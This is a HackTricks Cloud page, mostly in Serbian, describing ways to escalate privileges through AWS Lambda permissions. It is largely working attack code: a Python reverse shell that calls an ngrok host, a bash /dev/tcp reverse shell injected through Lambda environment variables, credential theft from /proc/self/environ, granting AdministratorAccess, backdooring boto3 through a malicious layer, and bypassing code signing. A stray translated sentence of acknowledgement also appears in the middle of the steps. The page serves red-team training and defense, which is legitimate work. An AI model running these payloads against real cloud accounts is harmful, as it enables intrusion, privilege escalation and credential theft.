AWS - Lambda Privesc
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
lambda
Više informacija o lambda u:
iam:PassRole, lambda:CreateFunction, (lambda:InvokeFunction | lambda:InvokeFunctionUrl)
Korisnici sa iam:PassRole, lambda:CreateFunction, and lambda:InvokeFunction permisijama mogu da eskaliraju svoje privilegije.
Mogu da kreiraju novu Lambda funkciju i dodele joj postojeću IAM role, čime funkciji dodeljuju dozvole povezane sa tom rolom. Korisnik potom može napisati i otpremiti kod u ovu Lambda funkciju (na primer sa rev shell-om).
Kada je funkcija postavljena, korisnik može pokrenuti njeno izvršavanje i željene akcije pozivanjem Lambda funkcije putem AWS API-ja. Ovaj pristup omogućava korisniku da efektivno izvršava zadatke indirektno preko Lambda funkcije, radeći sa nivoom pristupa koji je dodeljen IAM roli povezanoj sa funkcijom.\
Napadač bi ovo mogao zloupotrebiti da dobije rev shell i ukrade token:
import socket,subprocess,os,time
def lambda_handler(event, context):
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(('4.tcp.ngrok.io',14305))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(['/bin/sh','-i'])
time.sleep(900)
return 0
# Zip the rev shell
zip "rev.zip" "rev.py"
# Create the function
aws lambda create-function --function-name my_function \
--runtime python3.9 --role <arn_of_lambda_role> \
--handler rev.lambda_handler --zip-file fileb://rev.zip
# Invoke the function
aws lambda invoke --function-name my_function output.txt
## If you have the lambda:InvokeFunctionUrl permission you need to expose the lambda inan URL and execute it via the URL
# List roles
aws iam list-attached-user-policies --user-name <user-name>
Takođe biste mogli abuse the lambda role permissions iz same lambda function.
Ako bi lambda role imala dovoljno permissions mogli biste je iskoristiti da sebi dodelite admin rights:
import boto3
def lambda_handler(event, context):
client = boto3.client('iam')
response = client.attach_user_policy(
UserName='my_username',
PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
)
return response
Takođe je moguće leak the lambda’s role credentials без потребе за спољном везом. Ово би било корисно за Network isolated Lambdas које се користе за интерне задатке. Ако постоје непознати security groups који филтрирају ваше reverse shells, овај део кода ће вам омогућити да директно leak the credentials као излаз lambda.
def handler(event, context):
sessiontoken = open('/proc/self/environ', "r").read()
return {
'statusCode': 200,
'session': str(sessiontoken)
}
aws lambda invoke --function-name <lambda_name> output.txt
cat output.txt
Potencijalni uticaj: Direktan privesc na proizvoljnu lambda servisnu ulogu koja je navedena.
Caution
Imajte na umu da, iako to može izgledati interesantno,
lambda:InvokeAsyncne dozvoljava samostalno izvršavanjeaws lambda invoke-async, takođe vam je potrebnalambda:InvokeFunction
iam:PassRole, lambda:CreateFunction, lambda:AddPermission
Kao u prethodnom scenariju, možete sebi dodeliti dozvolu lambda:InvokeFunction ako imate dozvolu lambda:AddPermission
# Check the previous exploit and use the following line to grant you the invoke permissions
aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name my_function \
--action lambda:InvokeFunction --statement-id statement_privesc --principal "$NON_PRIV_PROFILE_USER_ARN"
Potential Impact: Direktan privesc na proizvoljni lambda service role koji je naveden.
iam:PassRole, lambda:CreateFunction, lambda:CreateEventSourceMapping
Korisnici sa iam:PassRole, lambda:CreateFunction, and lambda:CreateEventSourceMapping dozvolama (a potencijalno i dynamodb:PutItem i dynamodb:CreateTable) mogu indirektno escalate privileges čak i bez lambda:InvokeFunction.\ Mogu kreirati Lambda function sa zlonamernim kodom i dodeliti je postojećoj IAM role.
Umesto da direktno pozove Lambda, korisnik postavlja ili koristi postojeću DynamoDB tabelu, povezujući je sa Lambda kroz event source mapping. Ova konfiguracija osigurava da se Lambda function automatski pokrene pri unosu novog item-a u tabelu, bilo akcijom korisnika ili nekog drugog procesa, čime se Lambda function indirektno poziva i izvršava kod sa dozvolama prosleđene IAM role.
aws lambda create-function --function-name my_function \
--runtime python3.8 --role <arn_of_lambda_role> \
--handler lambda_function.lambda_handler \
--zip-file fileb://rev.zip
Ako je DynamoDB već aktivan u AWS okruženju, korisnik samo treba da uspostavi mapiranje izvora događaja za Lambda funkciju. Međutim, ako se DynamoDB ne koristi, korisnik mora da kreira novu tabelu sa uključenim streamingom:
aws dynamodb create-table --table-name my_table \
--attribute-definitions AttributeName=Test,AttributeType=S \
--key-schema AttributeName=Test,KeyType=HASH \
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES
Sada je moguće povezati Lambda function sa DynamoDB table kreiranjem event source mapping:
aws lambda create-event-source-mapping --function-name my_function \
--event-source-arn <arn_of_dynamodb_table_stream> \
--enabled --starting-position LATEST
Sa Lambda funkcijom povezanom na DynamoDB stream, napadač može indirektno pokrenuti Lambda funkciju aktiviranjem DynamoDB streama. To se može postići ubacivanjem stavke u DynamoDB tabelu:
aws dynamodb put-item --table-name my_table \
--item Test={S="Random string"}
Potencijalni uticaj: Direktan privesc na navedeni lambda service role.
lambda:AddPermission
Napadač sa ovom dozvolom može dodeliti sebi (ili drugima) bilo koje dozvole (ovo generiše resource based policies za dodeljivanje pristupa resursu):
# Give yourself all permissions (you could specify granular such as lambda:InvokeFunction or lambda:UpdateFunctionCode)
aws lambda add-permission --function-name <func_name> --statement-id asdasd --action '*' --principal arn:<your user arn>
# Invoke the function
aws lambda invoke --function-name <func_name> /tmp/outout
Potencijalni uticaj: Direktan privesc na lambda servisnu rolu korišćenjem dozvole koja omogućava izmenu koda i njegovo pokretanje.
lambda:AddLayerVersionPermission
Napadač sa ovom dozvolom može dodeliti sebi (ili drugima) dozvolu lambda:GetLayerVersion. Može pristupiti sloju i tražiti ranjivosti ili osetljive informacije.
# Give everyone the permission lambda:GetLayerVersion
aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion
Mogući uticaj: Potencijalni pristup osetljivim informacijama.
lambda:UpdateFunctionCode
Korisnici koji imaju lambda:UpdateFunctionCode dozvolu mogu izmeniti kod postojeće Lambda function koja je povezana sa IAM role.
Napadač može izmeniti kod Lambda function da eksfiltruje IAM credentials.
Iako napadač možda nema direktnu mogućnost da pozove funkciju, ako je Lambda function već kreirana i operativna, verovatno će biti okinuta kroz postojeće tokove rada ili događaje, čime se indirektno omogućava izvršavanje izmenjenog koda.
# The zip should contain the lambda code (trick: Download the current one and add your code there)
aws lambda update-function-code --function-name target_function \
--zip-file fileb:///my/lambda/code/zipped.zip
# If you have invoke permissions:
aws lambda invoke --function-name my_function output.txt
# If not check if it's exposed in any URL or via an API gateway you could access
Potencijalni uticaj: Direktan privesc na lambda service role koja se koristi.
lambda:UpdateFunctionConfiguration
RCE via env variables
Sa ovim dozvolama moguće je dodati env variables koje će naterati Lambda da izvrši proizvoljni kod. Na primer, u pythonu je moguće zloupotrebiti env variables PYTHONWARNING i BROWSER kako bi python proces izvršio proizvoljne komande:
aws --profile none-priv lambda update-function-configuration --function-name <func-name> --environment "Variables={PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=\"/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18755 0>&1' & #%s\"}"
Za druge skriptne jezike postoje druge env variables koje možete koristiti. Za više informacija pogledajte podsekcije skriptnih jezika u:
macOS Process Abuse - HackTricks
RCE via Lambda Layers
Lambda Layers omogućava da uključite code u vaš lamdba function ali storing it separately, tako da function code može ostati mali i several functions can share code.
Unutar lambda možete proveriti putanje sa kojih se učitava python code pomoću funkcije kao u nastavku:
import json
import sys
def lambda_handler(event, context):
print(json.dumps(sys.path, indent=2))
Ovo su lokacije:
- /var/task
- /opt/python/lib/python3.7/site-packages
- /opt/python
- /var/runtime
- /var/lang/lib/python37.zip
- /var/lang/lib/python3.7
- /var/lang/lib/python3.7/lib-dynload
- /var/lang/lib/python3.7/site-packages
- /opt/python/lib/python3.7/site-packages
- /opt/python
Na primer, biblioteka boto3 se učitava iz /var/runtime/boto3 (4th position).
Eksploatacija
Moguće je zloupotrebiti dozvolu lambda:UpdateFunctionConfiguration da biste dodali novi layer na lambda funkciju. Da biste izvršili proizvoljan kod ovaj layer mora sadržati neku biblioteku koju će lambda importovati. Ako možete pročitati kod lambda funkcije, lako biste ovo mogli pronaći; takođe imajte na umu da je moguće da lambda već koristi layer i da biste mogli preuzeti taj layer i dodati svoj kod u njega.
Na primer, pretpostavimo da lambda koristi biblioteku boto3, ovo će kreirati lokalni layer sa najnovijom verzijom biblioteke:
pip3 install -t ./lambda_layer boto3
Možete otvoriti ./lambda_layer/boto3/__init__.py i add the backdoor in the global code (npr. funkciju za eksfiltraciju kredencijala ili dobijanje reverse shell-a).
Zatim, zip-ujte taj ./lambda_layer direktorijum i upload the new lambda layer na svoj nalog (ili na nalog žrtve, ali možda nemate dozvole za to).
Imajte na umu da treba da kreirate python folder i stavite biblioteke tamo da biste override-ovali /opt/python/boto3. Takođe, layer mora biti compatible with the python version koji koristi lambda i ako ga upload-ujete na svoj nalog, mora biti u same region:
aws lambda publish-layer-version --layer-name "boto3" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"
Sada učinite otpremljeni lambda layer pristupačnim bilo kojem nalogu:
aws lambda add-layer-version-permission --layer-name boto3 \
--version-number 1 --statement-id public \
--action lambda:GetLayerVersion --principal *
I prikačite lambda layer na victim lambda function:
aws lambda update-function-configuration \
--function-name <func-name> \
--layers arn:aws:lambda:<region>:<attacker-account-id>:layer:boto3:1 \
--timeout 300 #5min for rev shells
The next step would be to either invoke the function ourselves if we can or to wait until it gets invoked by normal means–which is the safer method.
A more stealth way to exploit this vulnerability can be found in:
AWS - Lambda Layers Persistence
Potential Impact: Direktan privesc na lambda service role koja se koristi.
iam:PassRole, lambda:CreateFunction, lambda:CreateFunctionUrlConfig, lambda:InvokeFunctionUrl
Možda sa tim permisijama možeš da kreiraš funkciju i izvršiš je pozivanjem URL-a… ali nisam našao način da to testiram, pa javi ako uspeš!
Lambda MitM
Neke lambda funkcije će primati osetljive informacije od korisnika u parametrima. Ako dobiješ RCE u jednoj od njih, možeš exfiltrate informacije koje drugi korisnici šalju toj funkciji — pogledaj u:
References
- https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/
- https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/
lambda:DeleteFunctionCodeSigningConfig or lambda:PutFunctionCodeSigningConfig + lambda:UpdateFunctionCode — Bypass Lambda Code Signing
If a Lambda function enforces code signing, an attacker who can either remove the Code Signing Config (CSC) or downgrade it to Warn can deploy unsigned code to the function. This bypasses integrity protections without modifying the function’s IAM role or triggers.
Permissions (one of):
- Path A:
lambda:DeleteFunctionCodeSigningConfig,lambda:UpdateFunctionCode - Path B:
lambda:CreateCodeSigningConfig,lambda:PutFunctionCodeSigningConfig,lambda:UpdateFunctionCode
Notes:
- For Path B, you don’t need an AWS Signer profile if the CSC policy is set to
WARN(unsigned artifacts allowed).
Steps (REGION=us-east-1, TARGET_FN=
Prepare a small payload:
cat > handler.py <<'PY'
import os, json
def lambda_handler(event, context):
return {"pwn": True, "env": list(os.environ)[:6]}
PY
zip backdoor.zip handler.py
Put A) Uklonite CSC, pa ažurirajte code:
aws lambda get-function-code-signing-config --function-name $TARGET_FN --region $REGION && HAS_CSC=1 || HAS_CSC=0
if [ "$HAS_CSC" -eq 1 ]; then
aws lambda delete-function-code-signing-config --function-name $TARGET_FN --region $REGION
fi
aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://backdoor.zip --region $REGION
# If the handler name changed, also run:
aws lambda update-function-configuration --function-name $TARGET_FN --handler handler.lambda_handler --region $REGION
Putanja B) Smanjiti nivo na Warn i ažurirati kod (ako brisanje nije dozvoljeno):
CSC_ARN=$(aws lambda create-code-signing-config \
--description ht-warn-csc \
--code-signing-policies UntrustedArtifactOnDeployment=WARN \
--query CodeSigningConfig.CodeSigningConfigArn --output text --region $REGION)
aws lambda put-function-code-signing-config --function-name $TARGET_FN --code-signing-config-arn $CSC_ARN --region $REGION
aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://backdoor.zip --region $REGION
# If the handler name changed, also run:
aws lambda update-function-configuration --function-name $TARGET_FN --handler handler.lambda_handler --region $REGION
Potvrđujem — razumem smernice i postupit ću prema njima.
aws lambda invoke --function-name $TARGET_FN /tmp/out.json --region $REGION >/dev/null
cat /tmp/out.json
Potencijalni uticaj: Mogućnost ubacivanja i pokretanja proizvoljnog unsigned code-a u funkciju koja je trebalo da primenjuje signed deployments, što potencijalno može dovesti do code execution sa dozvolama function role-a.
Čišćenje:
aws lambda delete-function-code-signing-config --function-name $TARGET_FN --region $REGION || true
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
HackTricks Cloud

